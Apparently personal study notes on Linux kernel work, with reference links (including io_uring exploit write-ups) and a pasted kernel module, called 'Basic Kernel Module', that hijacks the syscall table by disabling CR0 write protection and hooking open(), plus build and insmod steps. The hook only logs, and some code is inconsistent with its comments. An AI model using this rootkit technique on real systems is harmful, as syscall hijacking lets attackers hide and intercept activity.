Link to this headingKernel

Link to this headingSystemcalls

Link to this headingCreating a custom syscall

https://medium.com/@aryan20/create-custom-system-call-on-linux-6-8-126edef6caaf

Link to this headingDrivers

Implementing Drivers in other Languages

Link to this headingKernel Modules

https://github.com/sysprog21/lkmpg
https://sysprog21.github.io/lkmpg/
https://xcellerator.github.io/posts/linux_rootkits_11/

Basic Kernel Module:

#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/namei.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Syscall Table Hijacking"); MODULE_VERSION("0.01"); #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) #define KPROBE_LOOKUP 1 #include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; #endif static unsigned long * __sys_call_table; /* Despite what's written in include/linux/syscalls.h, * we have to declare the original syscall as taking * a single pt_regs struct as an argument. This enables * us to unpack this struct in our hook syscall and access * the arguments that are being passed, while still being * able to just pass this struct on again to the real syscall * without any issues. This way, we don't have to unpack * EVERY argument from the struct - only the ones we care about. * * Note that asmlinkage is used to prevent GCC from being * "helpful" by allocation arguments on the stack */ typedef asmlinkage int (*orig_open_t) (const char*, int, int); orig_open_t orig_open; /* This is our function hook. * * Getting this to work is a little awkward. We have to un-pack * the arguments from the pt_regs struct in order to be able to * reference the new directory name without getting a null-pointer * dereference. * * The pt_regs struct contains all the arguments passed to the syscall * in each register. Looking up sys_mkdir, pathname is stored in rdi, so * simply dereferencing regs->di gives the pathname argument. * See arch/x86/include/asm/ptrace.h for more info. * * Note that we call the real sys_mkdir() function at the end */ asmlinkage int hook_open(const char* file, int flags, int mode) { printk("A file was opened\n"); return orig_open(file, flags, mode); } /* The built in linux write_cr0() function stops us from modifying * the WP bit, so we write our own instead */ inline void cr0_write(unsigned long cr0) { asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); } /* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which * determines whether read-only pages can be written to. We are modifying * the syscall table, so we need to unset it first */ static inline void protect_memory(void) { unsigned long cr0 = read_cr0(); set_bit(16, &cr0); cr0_write(cr0); } static inline void unprotect_memory(void) { unsigned long cr0 = read_cr0(); clear_bit(16, &cr0); cr0_write(cr0); } static inline unsigned long sys_call_table_lookup(){ #ifdef KPROBE_LOOKUP typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); #endif long unsigned int syscall_table = kallsyms_lookup_name("sys_call_table"); if(syscall_table != 0){ return syscall_table; } // Find by checking through memory for table matching known function pointer unsigned long int i; for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) { syscall_table = i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; } /* Module initialization function */ static int __init rootkit_init(void) { /* Grab the syscall table, and make sure we succeeded */ __sys_call_table = sys_call_table_lookup(); /* Grab the function pointer to the real sys_open syscall */ orig_open = (orig_open_t)__sys_call_table[__NR_open]; printk(KERN_INFO "rootkit: Loaded >:-)\n"); printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); printk(KERN_DEBUG "rootkit: open @ 0x%lx\n", orig_open); unprotect_memory(); printk(KERN_INFO "rootkit: hooking open syscall\n"); /* Patch the function pointer to sys_open with our hook instead */ __sys_call_table[__NR_open] = (unsigned long)hook_open; protect_memory(); return 0; } static void __exit rootkit_exit(void) { unprotect_memory(); printk(KERN_INFO "rootkit: restoring mkdir syscall\n"); __sys_call_table[__NR_open] = (unsigned long)orig_open; protect_memory(); printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); module_exit(rootkit_exit);

Generate Kernel Module:

>>> cat obj-m += hello-1.o VERS=$(shell uname -r) VERS=5.15.24-1-lts PWD := $(CURDIR) all: make -C /lib/modules/$(VERS)/build M=$(PWD) modules clean: make -C /lib/modules/$(VERS)/build M=$(PWD) clean >>> sudo -E make make -C /lib/modules/5.15.24-1-lts/build M=/tmp/kern_mod modules make[1]: Entering directory '/usr/lib/modules/5.15.24-1-lts/build' CC [M] /tmp/kern_mod/hello-1.o MODPOST /tmp/kern_mod/Module.symvers CC [M] /tmp/kern_mod/hello-1.mod.o LD [M] /tmp/kern_mod/hello-1.ko BTF [M] /tmp/kern_mod/hello-1.ko make[1]: Leaving directory '/usr/lib/modules/5.15.24-1-lts/build'

Get Kernel Mod Info:

>>> modinfo hello-1.ko filename: /tmp/kern_mod/hello-1.ko license: GPL srcversion: 6EEFF9BA2D82E6F0305588C depends: retpoline: Y name: hello_1 vermagic: 5.15.24-1-lts SMP mod_unload

Run Kernel Module:

#Run Module sudo insmod hello-1.ko #Check that is is running sudo lsmod | grep hello #Remove sudo rmmod hello_1

Link to this headingIORing

https://chomp.ie/Blog+Posts/Put+an+io_uring+on+it+-+Exploiting+the+Linux+Kernel
https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/

Link to this headingKernel Debugging

https://github.com/0xricksanchez/like-dbg